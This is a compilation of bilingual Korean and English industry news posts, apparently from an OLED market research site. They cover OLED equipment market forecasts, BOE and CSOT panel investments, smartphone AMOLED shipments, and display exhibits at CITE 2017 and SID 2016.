According to ‘2017 OLED Manufacturing Equipment Annual Report’ published by the UBI research, from 2017 to 2021, it is anticipated that TFT equipment will account for 45% of the market share, followed by OLED pixel forming equipment 17%, encapsulation equipment 13%, cell equipment 13% and module equipment 12% respectively. As the demand on flexible OLEDs is expected to increase remarkably in the future, the market share of cell and module equipment will accordingly increase by 25% with high importance.

앞으로의 OLED 시장 실적은?

지난 6월 전경련회관에서 개최된 유비리서치의 상반기 결산세미나 OLED 시장 분석과 최신기술에서 이충훈 대표는 2017년 상반기 OLED 산업 투자와 양산상황 분석을 통해 시장을 전망하였다.

이충훈 대표는 중국 세트 업체들의 OLED 요구 증가로 인해, 2021년까지의 OLED 장비 시장은 중국이 선도할 것이라 강조했다. 이에 따라 2021년 예상되는 중국 장비시장은 전체 장비 시장의 약 48%를 차지하고, 약 405억 달러의 장비 투자가 이루어질 것이라 예상됐다.

또한, 이러한 중국의 행보는 OLED 스마트폰 시장까지 영향을 줄 것이라 분석됐다. 2019년에는 OLED 스마트폰이 LCD 스마트폰 시장을 역전, 2021년에는 OLED 스마트폰이 전체 스마트폰 시장의 80%를 차지할 것으로 보인다.

한편, flexible OLED에 대해서는 2017년부터 2019년 사이에 삼성전자 그리고 Apple의 flexible OLED 수요 증가에 대응해야 할 삼성디스플레이와 flexible OLED 시장에서 2위를 차지하기 위한 BOE의 대규모 투자가 이뤄질 것이라고 내다봤다.

 

이충훈 대표는 2018년부터 BOE의 Gen10.5 LCD 공장에서 65 inch panel이 대량 생산될 것으로 전망됨에 따라 향후 프리미엄 TV 시장은 65 inch 이상에서 형성될 것이라 분석했다. 이러한 여파로 인해 Gen10.5를 가지고 있지 않은 패널 업체들은 Gen8 라인에서 MMG (multi model on a glass) 방식으로 65 inch 패널을 생산할 것이라 밝혔다.

반면, LG디스플레이는 TV용 OLED 생산을 Gen8로 유지한 후, 2020년 이후에 Gen10.5 라인에서 OLED를 생산할 것으로 진단됐다.

한편, 유비리서치에서 발간한 ‘2017 OLED Manufacturing Equipment Annual Report’에 따르면 2017년부터 2021년까지 TFT 장비 45%, OLED 화소 형성 장비 17%, encapsulation 장비 13%, cell 장비 13%, module 장비 12% 순으로 시장 점유율을 차지할 것으로 전망하였다. 향후 flexible OLED 수요가 크게 증가할 것으로 보이면서 cell 장비와 module 장비의 시장 점유율은 25%로서 중요도가 높아질 것이라고 분석했다.

UBI Research , Published the Market Report on OLED Manufacturing Equipment

■The OLED equipmentmarket is expected to reach $84.9 billion in 5 years.

■Korean and Chinese panel companies will take over 90% of investment in panel equipment.

 

According to ‘2017 OLED Manufacturing Equipment Annual Report’ published by UBI Research, the entire equipment market of OLED is expected to total$84.9 billion(about 93trillion KRW) from 2017 to 2021. In 2017, $16.4 billion(about 18 trillion KRW) will be invested in OLED equipment.

The OLED equipment for the market analysis is largely categorized by process into 5 kinds of equipment; TFT, OLED, encapsulation, cell, and module. The investment costs including distribution equipment and test equipment of each process are calculated, and touch-related equipment is excluded from the market analysis.

Hyun Jun Jang, a senior researcher of UBI Research forecasts that the two countries will lead the OLED market due to the massive investment from both Korean panel companies occupying the OLED industry and latecomers Chinese panel companies.

According to this report, China and Korea will actively invest in OLED equipment from 2017 to 2017, showinga 48% and a 42% OLED market share, respectively. In particular, the two countries are expected to make the largest investment of $32.8 billion(about 36 trillion KRW) in 2017 and 2018.

Samsung Display has been expanding small and medium OLED lines to be applied to Galaxy series and Apple, and LG Display has been investing in both small & medium and large-size OLED lines. China’s BOE and CSOT are likely to invest heavily in OLED line because especially BOE has decided to invest more than 30K in small and medium OLED lines every year since 2017.

 

<left) OLED Equipment Market Share by Process,    right) OLED Equipment Market Share by Country>

 

From 2017 to 2021, itis forecast that TFT equipment, OLED pixel patterning equipment, encapsulation equipment, cell equipment, and module equipment will have a 45%, 17%,13%,13%, and 12% market share, respectively. In near future, the demand for flexible OLED will be likely to increase so that cell and module equipment will gain more importance having a 25% market share.

유비리서치, OLED 제조용 장비 시장 보고서 발간

 

유비리서치 유비리서치 유비리서치

■ 향후 5년간 OLED 전체 장비 시장 849억 달러 전망

■ 한국과 중국 panel 업체의 장비 투자 점유율 90%

 

유비리서치에서 발간한 ‘2017 OLED Manufacturing Equipment Annual Report’에 따르면 OLED 전체 장비 시장은 2017년부터 2021년까지 총 849억 달러(약 93조원) 규모가 될 것으로 전망하였다. 2017년에는 164억 달러(약 18조원)의 OLED장비 투자가 진행된다.

OLED 장비 시장 분석을 위한 장비 분류는 공정별로 크게 TFT, OLED, encapsulation, cell, module 총 5가지로 장비를 분류하였다. 각 공정별 물류 장비와 검사 장비를 포함한 투자 비용을 산출하였으며, touch관련 장비는 시장 분석에서 제외하였다.

 

유비리서치 장현준 선임연구원은 OLED 산업을 주도하고 있는 한국 panel업체들의 지속적인 투자와 후발 주자인 중국 panel업체들의 과감한 투자로 한국과 중국이 OLED 장비 시장을 주도할 것으로 예상하고 있다.

본 보고서에서 국가별 OLED 장비 시장은 2017년부터 2021년까지 중국이 48%, 한국이 42%의 점유율을 보이며 두 국가가 OLED 장비 투자를 주도할 것으로 분석됐다. 2017년과 2018년에 한국과 중국은 328억 달러(약 36조원) 규모로 가장 많은 투자를 할 것으로 전망하였다.

삼성디스플레이는 갤럭시 시리즈와 애플에 적용될 중소형 OLED 라인 투자를 확대하고, LG디스플레이는 대면적 OLED 라인과 중소형 OLED라인을 동시에 투자하고 있다. 중국에서는 BOE와 CSOT가 OLED 라인 투자를 적극적으로 진행할 것으로 보이며, 특히 BOE는 2017년부터 중소형 OLED 라인에 매년 30K 이상을 투자하기 때문이다.

 

<좌) 국가별 OLED 장비 시장 점유율, 우) 공정별 OLED 장비 시장 점유율>

 

 

2017년부터 2021년까지 TFT 장비 45%, OLED 화소 형성 장비 17%, encapsulation 장비 13%, cell 장비 13%, module 장비 12% 순으로 시장 점유율을 차지할 것으로 전망하였다. 향후 flexible OLED 수요가 크게 증가할 것으로 보이면서 cell 장비와 module 장비의 시장 점유율은 25%로서 중요도가 높아질 것으로 분석된다.

CITE 2017을 수놓은 OLED display

CITE 2017

지난 4월 9일부터 11일까지 광둥성 선전에서 CITE(China Information Technology Expo, 중국 전자 정보 기술 박람회) 2017이 열렸다. 올해로 5회째를 맞는 CITE 2017은 중국 공신부와 선전시 정부가 주최하는 아시아 최대 전자 정보 전시회로 매년 1,600여 개 업체가 참여하고, 16만여 명이 참관하는 세계적인 IT 행사다.

 
이 행사에서 LG Display와 BOE, CSOT, Tianma는 OLED 패널을 전시하였으며, Changhong과 Hisense, Konka, Skyworth가 OLED를 응용한 제품들을 선보였다. 그 외에 중국 OLED 산업 연맹 이름으로 Jilin OLED를 포함한 다수의 업체들이 공동관을 운영하였다.

 

<CITE 2017에서 전시 된 업체별 OLED 제품>

 

대면적 OLED 패널을 유일하게 양산하는 LG Display는 두께 3mm, 무게 7Kg의 초박형 초경량 디자인의 65인치 UHD Wall Paper OLED와 디스플레이 자체를 스피커로 구현하는 Crystal Sound OLED를 핵심 제품으로 전시하였다. LG Display는 Wallpaper TV용 OLED 패널로 기술력을 인정 받아 CITE 2017 기술혁신 금상을 시상 받았다.

<LG Display의 Wall paper OLED(왼쪽)와 Crystal Sound OLED(오른쪽)>

이 밖에도 LG Display는 77인치 UHD OLED 패널 6장으로 구성 된 기둥형태의 OLED Pillar와 77인치 UHD OLED 패널 2장을 붙인 Dual-view flat를 전시하는 등 OLED를 활용한 다양한 제품들을 선보였으며, 12.3인치 자동차용 curved OLED와 smartphone용 2종류, watch용 2종류 plastic OLED를 전시하였다.

<LG Display의 OLED pillar>

중국 OLED 패널 업체인 BOE는 7.9인치 foldable OLED와 5.5인치 edge bended OLED, 1.39인치 rounded OLED를 선보이며 기술력을 과시했다.

<BOE의 foldable OLED(왼쪽)와 edge bended OLED(가운데), round OLED(오른쪽)>

 

이 밖에 OLED TV를 전시한 세트업체는 Changhong과 Hisense, Skyworth로 모두 중국 업체들이며, 프리미엄 TV의 핵심 크기인 65인치 OLED TV를 주력으로 전시하였다. Hisense는 OLED TV 외에도 스마트폰 양면에 OLED 패널과 e-ink 패널을 같이 채택한 제품을 전시하였다.

<Changhong(왼쪽)과 Hisense(가운데), Skyworth(오른쪽)의 OLED TV>

 

OLED Display Embellished CITE 2017

CITE 2017(China Information Technology Expo) was held in Shenzhen, China from April 9 to 11. As the Asia’s largest electronic and information exhibition hosted by the ministry of industry and information technology of the people’s republic of China and the local government of Shenzhen, the 5th CITE 2017 is the international IT event in which 1,600 companies participate annually, with 160,000 visitors.

At this expo, LG Display, BOE, CSOT, and Tianma exhibited OLED panel on one hand, and Changhong, Hisense, Konka, and Skyworth unveiled OLED-applied products on the other hand. Besides, many companies including Jilin OLED operated a shared exhibition hall under the name of China OLED Industry Alliance(COIA).

<Different Companies’ OLED Products at CITE 2017>

LG Display, the only large-area OLED panel manufacture unveiled its flagship 65-inch UHD Wall Paper OLED with an ultrathin and ultralight design of 3mm thickness and 7Kg weight, and Crystal Sound OLED displaying itself as a speaker. LG has received CES 2017 Innovation Award for its technology of Wallpaper TV OLED panel.

<LG Display’s Wall paper OLED(Left) & Crystal Sound OLED(Right)>

Besides, LG Display showcased various products applying OLED including OLED Pillar with six 77-inch UHD OLED panels and Dual-view flat with two 77-inich UHD OLED panels, while unveiling a 12.3-inch curved OLED for automobiles, two kinds of smartphones, and two kinds of plastic OLEDs for watches.

<LG Display’s OLED Pillar>

A Chinese OLED panel company, BOE boasted of its technology, demonstrating a 7.9-inch foldable OLED, a 5.5-inch edge bended OLED, and a 1.39-inch rounded OLED.

<BOE’s Foldable OLED(Left), Edge Bended OLED(Middle), Round OLED(Right)>

The other OLED TV set companies are all Chinese companies such as Changhong, Hisense, and Skyworth. They exhibited its flagship 65-inch OLED TV, a key size of premium TVs. Hisense exhibited the smartphone with OLED panel and e-ink panel on its both sides as well as OLED TV.

<Changhong(Left), Hisense(Middle), Skyworth’s OLED TV(Right)>

BOE Plans to Establish a $145 million OLED TV Production Line in Hefei, China

BOE signed an agreement with a Hefei municipal government to co-invest 1 billion CNY (around $145 million USD) on feb 6, 2017 to establish a new OLED TV Production Line in Hefei, China. According to the agreement, BOE will invest 80% of the funds, and the rest will be provided by the Hefei municipal government, and the project company will be located in Anhui province. The detailed schedule or production size has not been informed yet.

Meanwhile, BOE that is manufacturing a small quantity of OLED TV panels in a Gen8 pilot line in Hefei is expected to build an OLED technology platform including printing and form an OLED industry chain through this project.

BOE unveiled 55inch FHD WRGB OLED TV prototype at SID 2014 and Skyworth’s 55inch UHD OLED TV with 55inch UHD OLED Module at ‘The 18th China High-Tech Fair’ held in nov 2016, garnering a lot of attention.

There’s a keen interest on how BOE’s investment influence the large-sized OLED panel market that is being led by LG Display, through this investment.

<BOE’s 55inch AMOLED panel, at SID 2014>

 

<BOE’s 55inch UHD OLED Module and 55inch UHD OLED TV, the 18th China High-Tech Fair>

BOE, 중국 Hefei에 1억 4,500 USD 규모의 OLED TV 생산 라인 설립

BOE가 현지시간으로 201726, Hefei의 새로운 OLED TV 생산 라인 설립을 위해 Hefei시 정부와 10CNY(145 million USD) 규모의 공동 투자 계약을 체결했다. 계약서에 따르면, BOE는 자금의 80 %를 투자하고 나머지는 Hefei 정부에 의해 제공되며, 프로젝트 회사는 Anhui성에 위치 할 것으로 보인다. 일정이나 생산 규모에 대한 정확한 내용은 아직 알려지지 않았다.

현재 Hefei Gen8 파일럿 라인에서 소량의 OLED TV panel을 제조하고 있는 BOE, 이번 프로젝트를 통해 printing을 포함한 OLED 기술 플랫폼을 형성하고 OLED 산업 체인을 구성할 것으로 기대를 모으고 있다.

 

<BOE가 공개한 55inch AMOLED panel, SID 2014>

BOE는 지난 SID 2014에서 55inch FHD WRGB OLED TV prototype을 공개한 바 있으며, 지난 201611월 개최된 18회 중국 하이테크페어에서는 55inch UHD OLED Module이 적용된 Skyworth 55inch UHD OLED TV를 전시하여 큰 화제를 모았다.

 

<BOE의 55inch UHD OLED Module과 55inch UHD OLED TV, 제 18회 중국 하이테크페어>

 

이번 투자를 통해, 현재 LG Display가 주도하고 있는 대면적 OLED panel 시장에서 BOE가 어떠한 영향을 미칠지 귀추가 주목되고 있다.

 

Solution Process OLED 도입 예상효과는?

Solution process OLED는 발광층 재료들을 solvent에 녹인 후 용액화 하여 printing으로 형성한 OLED이다. 일본의 JOLED LG Display에서 가장 적극적으로 개발하고 있으며, 중국의 BOE CSOT에서도 개발을 진행중이다.

Solution process Gen8이상 원장에서 RGB pixel 구조의 대면적 OLED panel 구현이 가능하고, 재료사용효율이 높고 단순한 layer로 개발되고 있어 양산 성공 시 원가절감이 가능하다는 장점이 있다.

161221

Solution Process OLED 도입 시 기대 효과, “Market Entry Analysis for Solution Process OLED -The Possibilities and Opportunities Report”, UBI Research

하지만 soluble OLED 발광 재료의 효율과 수명이 증착재료 대비 낮다는 점과, OLED 구조와 재료가격이 정해지지 않은 점 등등의 다양한 이슈들이 존재하고 있다.

현재 대면적 OLED 시장은 WRGB 방식으로 프리미엄시장 공략의 전략을 펼치고 있지만 추후 LCDOLED로 대체하기 위해서는 저비용/고생산 기술이 핵심 요소이며, solution process OLED가 핵심기술이 될 것으로 예상된다.

대면적 OLED가 프리미엄 TV 시장에서 멈출지, 프리미엄 TV 시장에서 벗어나 중저가 TV시장까지 진출하여 LCD와 경쟁을 할지는 solution process OLED의 성공여부에 결정될 것으로 예상된다.

 

유비산업리서치, ‘2016 OLED 결산 세미나’ 개최

sem-1

전방 세트 산업에서 애플의 OLED 채택, 중국 세트업체의 공격적인 투자에 힘입어 OLED가 미래의 디스플레이로서 가장 유력하다고 보여지는 가운데 유비산업리서치는 오는 12월 2일 (금) 여의도 중소기업회관에서 2016 OLED 결산 세미나를 개최한다.

2016년에 BOE와 Tianma 가 6G Half, GVO 등이 5.5G Rigid 및 Flexible 등이 투자로 인하여 2017년 설비 입고가 시작되고, 2017년은 CSOT와 GVO 등이 6G Hlaf 투자로 인하여 본격적인 Flexible OLED 시대로 접어들어 중국 업체 간 경쟁이 매우 심화될 것으로 예상된다.

유비산업 리서치는 중국 전문가를 모시고 세 가지 양태로 진행되고 있는 중국 OLED 업체들의 투자 동향을 파악해보고 이에 따른 향후 OLED 시장 발전 동향 역시 세 가지 형태로 예측해보고자 한다.

 

또한 Flexible OLED가 갤럭시 스마트폰 플래그쉽 모델에 성공적으로 정착하였고 내년부터는 full screen 이라는 진화된 형태로 다시 한번 진화할 예정에 있어 국내 해외 시장에서의 귀추가 주목되고 있다. 이에 유비산업리서치 이 충훈 대표는 2016 OLED 어플리케이션별 이슈 분석과 2017 시장 전망이라는 주제로 발표할 예정이다.

그 밖에도 삼성증권 장 정훈 책임연구위원은 OLED 공급이 수요에게 던지는 이슈라는 대주제를 선택하여 이 이슈가 OLED 밸류체인에 미치는 영향에 대하여 전달할 예정이다. LG경제연구원 이 우근 책임연구원은 급변하는 디스플레이 사업에서 주목할 만한 이슈에 대해 공유할 예정이다.

이번 ’16 OLED 결산 세미나에 대한 더 자세한 정보는 유비산업리서치 홈페이지를 통해 찾아볼 수 있다.

AMOLED panel for smart phones, just around the corner of 100million-unit shipment in a quarter

According to UBI Research, the shipment amount of AMOLED panel for smart phones in the 3rd quarter of 2016 was announced to be counted as 96million units.

It is the figure increased for 103% compared with the last quarter, and increased for 148% compared with the same period of last year, and it renewed the quarterly highest shipment amount once again, after the last quarter.

The person in charge of UBI Research mentioned that “The output of flexible AMOLED panels for Galaxy Note 7 was reduced compared to the plan due to the discontinuation of the production of Galaxy Note 7, however, the increase in shipments of AMOLED panels for China and Galaxy s7 series is seemed to play a important role in the increase of shipments in the third quarter.”

Currently, Samsung Display occupies more than 91% of the AMOLED panel market for smart phones, and Chinese panel makers such as BOE, EDO, Tianma, and Visionox are conducting mass production with small quantities.

In addition, Apple is expected to apply the flexible AMOLED panel to some models of the iPhone to be launched in 2017, therefore, future AMOLED panel market for smart phones will be increased continuously.

UBI Research expects that the annual shipment amount of AMOLED panel will form the market volume as about 1.4billion units by 2020 with the average annual growth rate of 41%, and flexible AMOLED panel among them will account for about 61%.

161128

Smart Phone AMOLED Panel Shipment Forecast, Source : UBI research

 

BY HYUNJUN JANG, HANA OH

스마트폰용 OLED panel, 분기 출하량 1억대 눈앞

유비산업리서치에 따르면 2016년 3사분기 스마트폰용 AMOLED panel 출하량이 9,600만대로 집계되었다고 발표했다.

전분기 대비 103%, 전년 동기대비 148% 증가한 수치로 지난 분기에 이어 분기별 최고 출하량을 다시 한번 갱신하였다.

유비산업리서치 관계자는 “갤럭시 노트 7에 대한 생산 중단으로 노트 7용 flexible AMOLED panel 생산량이 계획보다 감소하였지만 중국향과 갤럭시 s7 시리즈용 AMOLED panel 출하량 증가가 3사분기 출하량 상승에 큰 역할을 한 것으로 분석된다.”라고 밝혔다.

현재 스마트폰용 AMOLED panel 시장은 삼성디스플레이가 91% 이상을 점유하고 있으며, BOE와 EDO, Tianma, Visionox등의 중국 panel 업체들이 소량 양산하고 있는 상황이다.

또한 Apple도 2017년 출시될 iPhone 일부모델에 flexible AMOLED panel을 적용할 것으로 예상되어 앞으로의 스마트폰용 AMOLED panel 시장은 지속적으로 증가할 예정이다.

유비산업리서치는 스마트폰용 AMOLED panel 출하량은 연평균 성장률 41%로 2020년까지 약 14억대 규모를 형성할 것으로 전망되며, 이중 flexible AMOLED panel은 약 61%를 차지할 것으로 내다봤다.

161128

Smart Phone AMOLED Panel Shipment Forecast, 출처: 유비산업리서치

 

BOE and CSOT, Acquired the China first title through the panel for OLED TV

In ‘18th China High- Tech Fair,’ BOE collected a big topic by exhibiting 55” UHD OLED TV of Skyworth to which 55” UHD OLED Module was applied.

boe_1

boe_2
CSOT also publicized 31inch curved FHD OLED panel this time even though they have exhibited 31inch FHD OLED panel in the past.

About 80inch was realized by attaching 3 Curved OLED panels, and resolution was 5760*1080 along with 150nits brightness.

Two enterprises manufactured the product together by applying WRGB+CF structure having been produced massively in LG Display.

boe_3
In this exhibition, BOE and CSOT became to have first tile in Chinese enterprises with 55inch UHD OLED and 31inch curved OLED, and it is expected that it could be new drive of WRGB OLED panel market afterwards.

BOE and CSOT are manufacturing the panel for OLED TV in Gen8 pilot line of Hefei and Gen4.5 R&D line of Shenzhen, China respectively, and two enterprises are under positive consideration about large-scale OLED mass production lines.

Currently LG Display possesses mass production lines uniquely in relation with large-scale OLED panel market, and is leading OLED panel market alone. In future, BOE and CSOT are expected to join in large-size OLED panel market, and it is anticipated that market expansion through competitions in large-size OLEF panel market could be made.

BOE와 CSOT, OLED TV용 panel에서 중국 최초 타이틀 획득

지난 16일에 개최된 ‘제 18회 중국 하이테크페어’에서 BOE는 55inch UHD OLED Module이 적용된 Skyworth의 55inch UHD OLED TV를 전시하여 큰 화제를 모았다.

boe_1

boe_2

BOE의 55inch UHD OLED Module과 55inch UHD OLED TV

CSOT도 기존에는 31inch FHD OLED panel을 전시했지만 이번엔 31inch curved FHD OLED panel을 공개하였다.

Curved OLED panel 3장을 붙여 약 80inch를 구현하였으며, 해상도는 5760*1080, 휘도는 150nits이다.
두 업체 모두 LG Display에서 양산중인 WRGB+CF 구조를 적용하여 제조하였다.

boe_3

CSOT의 31inch curved FHD OLED panel 3장

이번 전시를 통해 BOE와 CSOT가 각각 55inch UHD OLED와 31inch curved OLED로 중국업체 최초타이틀을 가지게 되었으며, 앞으로 WRGB OLED panel 시장 성장에 새로운 원동력이 될 수 있을 것으로 기대된다.
BOE는 Hefei의 Gen8 파일럿 라인에서 CSOT는 중국 Shenzhen의 Gen4.5 R&D 라인에서 OLED TV용 panel을 제조하고 있으며, 두 업체 모두 대면적 OLED 양산라인에 대한 투자를 적극적으로 검토 중에 있다.
현재 대면적 OLED panel 시장은 LG Display가 유일하게 양산라인을 보유하고 있으며 단독으로OLED panel 시장을 이끌어가고 있다. 앞으로 BOE와 CSOT가 대면적 OLED panel 시장에 가세할 것으로 예상되며, 대면적 OLED panel 시장에서 경쟁을 통한 시장확대가 이루어 질 것으로 기대된다.

BOE’s Decision to Invest 46.5 Billion Yuan in Flexible OLED Line

According to a radio and TV source of Mianyang in Sìchuan Province, BOE has decided to invest
46.5 billion yuan(about 7.8 trillion KRW) in Gen6 flexible AMOLED production line.

BOE plans to begin construction in December 2016 and produce the items from 2019, and its capacity is 48K per month. It is expected to be used for producing high-end smartphones. BOE is carrying out 45K investment in Gen6 flexible AMOLED in Chengdu, and as part of this extension it is scheduled to put additional investment.

The investment in OLED has accelerated recently. Chinese panel companies including Visonox and EDO as well as BOE have decided to put investment in the production line of Gen6 flexible AMOLED panel and establish more lines.

BOE’s Gen6 flexible AMOLED panel production line where the investment has been decided or is still ongoing accounts for 75% of 120k that is total capacity of A3 Line, Gen6 flexible AMOLED production line of Samsung Display. If other Chinese panel companies’ investment that has been already decided or is ongoing is combined together, the investment exceeds Korea’s flexible AMOLED panel production capacity, even allowing for Samsung Display and LG Display’s additional investment.

With China’s active investment in flexible AMOLED panel production line, Chinese AMOLED panel market is expected to grow rapidly.

BOE, Flexible OLED 라인에 465억 위안 규모 투자 결정

10월 28일 중국 쓰촨성 면양시 라디오와 TV 소식통에 따르면 BOE가 6세대 flexible OLED생산라인에 465억 위안(약 7.8조원)을 투자하기로 결정했다.

2016년 12월에 착공을 시작하여 2019년부터 양산을 목표로 하고 있으며, capa는 월 48K의 규모이다. 이는 중소형 하이엔드 스마트폰에 투입될 예정이다. BOE는 중국 청두에도 6세대 flexible 월 45K 규모의 투자를 진행하고 있는 가운데 추가적으로 증설에 나선 것이다.

최근들어 중국의 OLED에 대한 투자 속도가 가속화 되고 있다. BOE 뿐만 아니라 Visonox, EDO등 중국 panel 업체들에서도 Gen6 flexible AMOLED panel 양산라인 투자 결정 및 증설을 진행 중에 있다.

현재까지 투자가 결정되거나 진행중인 BOE의 Gen6 flexible AMOLED panel 양산라인만 따져도삼성디스플레이의 Gen6 flexible AMOLED 양산라인인 A3 line의 총 capa인 약 120k의 75% 규모이다. 다른 중국 panel 업체들의 투자가 결정 capa와 검토중인 capa 합한다면 삼성디스플레이와 LG 디스플레이의 추가적인 투자를 감안하더라도 한국 flexible AMOLED panel 양산 capa를 넘어서는 수치이다.

이처럼 중국의 적극적인 flexible AMOLED panel 양산라인 투자가 진행으로 중국의 AMOLED panel 시장이 급속도로 성장할 것으로 예상된다.

[SID 2016] BOE Foldable AMOLED

BOE is showcasing 4.35“ Foldable AMOLED at SID 2016

Not Only Samsung and LG, but BOE and JDI Also Shows OLED Surge in SID

a Flexible OLED Display at BOE Booth (San Francisco = OLEDNET)

During the SID 2016, not only Samsung Display and LG Display, but other companies including BOE, Japan Display (JDI), and Tianma also presented OLED. The extent of OLED by Korea, China, and Japan drew much attention.

In SID 2016 (22-27 May), these companies exhibited many new OLED panels for diverse devices such as smartphone, VR, and TV.

Samsung Display revealed rollable panel, diverse 5 inch level OLED panel products such as VR panel with 806 ppi, the highest value within the industry, and Bio Blue, a VR panel which minimized harmful blue light.

LG Display showed 77 inch UHD OLED panel for TV, 55 inch dual side panel for signage, 65 inch concave OLED, and demonstrated their strength as the leader in large size OLED panel.

a Flexible OLED Display at JDI Booth (San Francisco = OLEDNET)

At this exhibition, BOE revealed flexible OLED display for mobile device. Particularly, the 4.35 inch foldable panel is BOE’s first. The product’s bending radius of 5 mm and has the brightness of 350 nits.  

Tianma displayed 55 inch on-cell touch equipped TFT-HD AMOLED panel. The flexible display has 270 ppi and bending radius of 20 mm.

JDI exhibited flexible plastic OLED (POLED). The 5.2 inch product has 423 ppi with the resolution of 1080 x 1920.

an OLED Display for Mobile at Tianma Booth (San Francisco = OLEDNET)

Quantum dot sector also presented a strong front against OLED in SID 2016. Nanosys and QD Vision exhibited OLED TV and quantum dot TV next to each other and presented merits of quantum dot.

According to QD Vision, quantum dot could consume 50% less power compared to OLED. Nanosys explained that while white OLED panel TV shows brightness of only up to 500 nits, their own quantum dot TV can actualize 1,200 nits of brightness.

Not Only Samsung and LG, but Also BOE and AUO…Panel Profit Plunges due to LCD

Source = BOE

Source = BOE

 Hyunjoo Kang / Reporter / jjoo@olednet.com

Although Samsung and LG both had smooth Q1 2016 for set businesses including TV, display sectors were different. The majority of the industry believes that global oversupply of LCD’s effects was great. Key LCD players in China, who could be seen as responsible for the LCD oversupply, also showed bleak performance. Key global LCD panel companies, including BOE and AUO, also revealed much reduced Q1 2016 profit.

On 28 April, Samsung Electronics and LG Electronics announced that the business profit in Q1 2016 improved. Samsung Electronics recorded KRW 6.68 trillion business profit, a 12% increase compared to Q1 2015. LG Electronics also announced operating profit of KRW 505.2 billion, up 65.5% from last year. Both companies emphasized favorable TV business.

On the other hand, Samsung and LG both received significant damages in display sector. In Q1 2016, Samsung Display recorded operating loss of KRW 270 billion. Samsung Display recorded a profit against expectations. However, the business profit of KRW 39,500 million in Q1 2016 is a 94.7% fall from last year.

Not only Samsung and LG, but display leaders in Greater China region also showed much diminished performance. BOE, which has been aggressively investing in large area LCD mass production, showed a 6.7% increase from previous year with approximately CNY 12,300 million for Q1 2016 revenue. In Q1, BOE showed business profit of CNY 108 million, but profit ratio plummeted compared to the same period in 2015. The profit ratio in Q1 2016 fell to 0.8% from 8% in Q1 2015. On 28 April, Taiwan’s AUO also revealed TWD 5.58 trillion business loss in Q1 2016.

BOE and AUO are both key players within the global LCD TV panel industry, and within the top 5 in the Greater China region. BOE, in particular, is chasing the leader LG Display with aggressive product supply. The fact that BOE recorded dismal results despite this is analyzed to be due to price fall due to the oversupply of LCD and spread of OLED among others.

For global OLED leader for mobile device, Samsung Display, was known to have recorded deficit of approximately KRW 900 billion in LCD despite Samsung Electronics’ strength in OLED smartphone. Essentially, LCD eroded the profit that OLED brought. For LG Display, experts believe that as a leader of OLED for TV market, the company could avoid deficit by making up for the damages from the LCD price fall.

An expert of the display industry explained that LCD leaders such as BOE might have expanded market share with the product supply, but would have received significant damage in profit ratio. However, he explained that compared to 30 inch LCD panel, 50 inch and 60 inch level large area LCD panel received less fallout from the price fall. He then estimated that as the large size TV demand is increasing, the LCD industry could be improved in Q2.

 

“CSOT Invests 7,740 Million USD in Gen11 LCD Line Construction”

 

TCL Corporation Which Includes CSOT(Source=TCL)

TCL Corporation Which Includes CSOT(Source=TCL)

 

Hyunjoo Kang / Reporter / jjoo@olednet.com

Chinese media reported that CSOT (China Star Optoelectronics Technology) is planning to invest $ 7,740 million in constructing Gen11 TFT-LCD panel mass production line.

According to the Chinese media, this company is planning to establish the Gen11 LCD mass production line in factory located in Shenzhen, south of China. The line is for 45 inch and 66 inch large area panel for TV. This mass production that CSOT is newly building is known to produce 3000mm x 3000mm or larger using glass substrate, and cut in 18 different sizes with the highest cutting efficiency of 97%.

Of Chinese panel production companies, CSOT has the second highest market share after BOE. At present, CSOT is operating Gen8.5 mass production line for large area panel and Gen6 LTPS line for small to medium-sized panel in Wuhan area in China. It also intends to establish another small to medium sized OLED panel mass production line for smartphone and tablet in Wuhan this year.

Higher the Generation of the line, it is more advantageous for large area panel production. If BOE completes Gen10.5 line construction, and CSOT Gen11 line, this means China is equipped with superior price competitiveness within large area LCD panel sector such as 60 inch panel for TV. Accordingly, the trend of LCD panel market leadership transference from Korea to China looks to be accelerated.

In fact, Korean key display companies, including Samsung Display and LG Display, only possess, at maximum Gen8 mass production line manufacturing equipment. Many display experts estimate that due to the supply of LCD pouring out from China, Korean display companies will record deficit in Q1 2016.

“CSOT 11세대 LCD 라인 구축에 9조원 투자”

CSOT가 속한 TCL 그룹(출처=TCL)

CSOT가 속한 TCL 그룹(출처=TCL)

강현주 기자 / jjoo@olednet.com

CSOT(China Star Optoelectronics Technology)가 11세대 TFT-LCD 패널 양산라인 구축에 77억4천만달러(한화 약 8조9천억원)를 투자할 계획이라고 중국 언론들이 보도했다.

중국 언론들의 보도에 따르면 CSOT는 중국 남부 선전에 위치한 공장에 11세대 LCD 양산 라인을 구축할 계획이다. 이 라인은 45인치 및 66인치 TV용 대형패널 생산용이다.

CSOT가 신규 규축하게 될 이 양산라인은 유리 기판(glass substrate)을 이용해 3000mm x 3000mm 이상의 패널을 생산하고 18개의 다른 크기로 절단되며 최대 면취율(cutting efficiency)은 97%인 것으로 알려졌다.

CSOT는 중국 패널 생산업체들 중 시장점유율이 BOE에 이어 2위다. CSOT는 현재 대형 패널 생산을 위한 8.5세대 양산라인과 중소형 패널용 6세대 LTPS 라인을 중국 우한 지역에 운영하고 있다.

CSOT는 이 외에도 올해 우한에 스마트폰 및 태블릿을 위한 중소형 OLED 패널용 또 다른 양산라인을 구축할 계획이다.

최근 BOE도 중국 허페이에 10.5세대 LCD 생산라인 구축에 약 7조원 규모의 투자를 시작했다고 국내외 언론들이 보도했다.

세대가 클수록 대형 패널 제작에 유리하다. BOE가 10.5세대 라인 구축을, CSOT가 11세대 라인 구축을 완료하게 되면  TV용 60인치 패널 등 대형 LCD 패널 부문에서 월등한 가격경쟁력을 갖추게 된다는 얘기다.

이에 대형 LCD 패널 시장의 패권이 한국에서 중국으로 넘어가는 추세가 가속화 될 것으로 보인다.

실제로 삼성디스플레이, LG디스플레이 등 한국의 주요 디스플레이 업체들은 현재 최대 8세대 양산라인 장비까지만 보유한 상황이다. 한국 디스플레이 업체들은 중국으로부터 쏟아지는 LCD 물량공세에 2016년 1분기 적자를 기록할 것이란 예상이 우세한 상황이다.

 

Foxconn’s Large Size Panel Yield, Equal to Samsung·LG within 2016

Foxconn is expected to occupy approximately 22% of 2016 Q4 global large size panel yield(Source : Foxconn)

Hyunjoo Kang / Reporter / jjoo@olednet.com

Foxconn is expected to occupy approximately 22% of 2016 Q4 global large size panel yield, similar to the levels of Samsung Display and LG Display.

